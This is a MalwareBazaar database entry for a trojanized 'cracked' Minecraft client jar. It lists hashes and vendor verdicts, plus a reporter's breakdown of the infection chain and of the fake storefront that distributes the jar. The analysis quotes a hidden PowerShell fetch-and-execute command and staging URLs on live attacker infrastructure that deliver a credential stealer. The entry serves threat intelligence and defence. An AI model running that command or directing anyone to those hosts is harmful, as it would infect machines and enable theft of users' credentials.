MalwareBazaar Database
You are currently viewing the MalwareBazaar entry for SHA256 3ce239bbe7d711846254f053e7a9e32927e9d37aab39219be7eebbb7fd397ac2. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.
Database Entry
Threat unknown
Vendor detections: 3
| SHA256 hash: | 3ce239bbe7d711846254f053e7a9e32927e9d37aab39219be7eebbb7fd397ac2 |
|---|---|
| SHA3-384 hash: | db542ece44ee508475d86dd92c96bef04d1ed0742984db241d7d7d7add03e406e7e79de287e25d93f0b26a02c51b07c6 |
| SHA1 hash: | 4f560c4a629a26eed0768f6dbf0a4d1614ec3bb5 |
| MD5 hash: | 7e1b8f70f293bbf5fa753c5d0cb83c4a |
| humanhash: | wolfram-bakerloo-freddie-lima |
| File name: | LarpClientCrackedByDexter.jar |
| Download: | download sample |
| File size: | 3'348'485 bytes |
| First seen: | 2026-10-25 17:57:33 UTC |
| Last seen: | Never |
| File type: |  jar |
| MIME type: | application/zip |
| ssdeep | 98304:2yDqCKQQqjAhYfZabkLqgPJfkY4y/vqL9GaCO:RiiZKaqofkDy/vqLCO |
| TLSH | T171F52320917E7EFAFE23CB73B552A0A0853613ADE24B300A3DBC69ED4558FF51788594 |
| TrID | 77.1% (.JAR) Java Archive (13500/1/2) 22.8% (.ZIP) ZIP compressed archive (4000/1) |
| Magika | jar |
| Reporter |  GhostTypes |
| Tags: | bombay jar lumma.cy |
GhostTypes
Trojanized fake cracked Minecraft client served from https://portalclient-drab.vercel.app/ (Vercel-hosted fake storefront, 11-client catalog all pinned to MC 1.21.11, Leakestan-style 'cracked by Dexter/Sub5Larp/648k.exe' branding, Telegram t.me/+V6Y7K3MitvVkZGVi). The jar carries an injected fabric client entrypoint paneldrop.PanelDrop: on Windows launch it spawns a hidden powershell running irm 'https://tools.lumma.cy/bsKLZ?zA=W' | iex (unique per-jar tracking token). Stage chain (fully decoded, nothing executed): tools.lumma.cy/bsKLZ serves a hidden-window HTA that writes 2-3 random-named VBS to %TEMP%; each runs base64 PowerShell with anti-analysis gates (blocks BITS/WebClient/IWR user-agents, zip magic-byte checks), downloads https://tools.lumma.cy/OIIBSK3NSfP8fAo65JBB.png (PNG-masked zip) and executes rename.exe (name re-rolled per fetch) - a native stealer core, VT 52/75 trojan.clipbanker/mikey, sha256 9ddb5cfa4a64771fbed9b74c1bba90c9e84d1d24d5cb56ed2e3472b17f59cb37. The zip leaks .spread_meta: campaign_id=618, slug=jar/2a53f9a1e1252701, niche=spotify. tools.lumma.cy is Bombay MaaS infrastructure (Lumma branding on the domain is a mask).Intelligence
File Origin
# of uploads :
1
# of downloads :
67
Origin country :
FRVendor Threat Intelligence
No detections
Malware family:
n/a
ID:
1
File name:
jar
Verdict:
No threats detected
Analysis date:
2026-10-25 18:14:05 UTC
Tags:
n/a
Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Detection:
n/a
Detection(s):
Verdict:
Clean
Score:
89.3%
Tags:
n/a
Verdict:
Unknown
Threat level:
0/10
Confidence:
100%
Verdict:
Unknown
File Type:
jar
Score:
31%
Verdict:
Susipicious
File Type:
ARCHIVE
Detection(s):
Suspicious file
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Suspicious File
Score:
0.35
File information
The table below shows additional information about this malware sample such as delivery method and external references.
Web download
jar 3ce239bbe7d711846254f053e7a9e32927e9d37aab39219be7eebbb7fd397ac2
(this sample)
Delivery method
Distributed via web download
Comments
Login required
You need to login to in order to write a comment. Login with your abuse.ch account.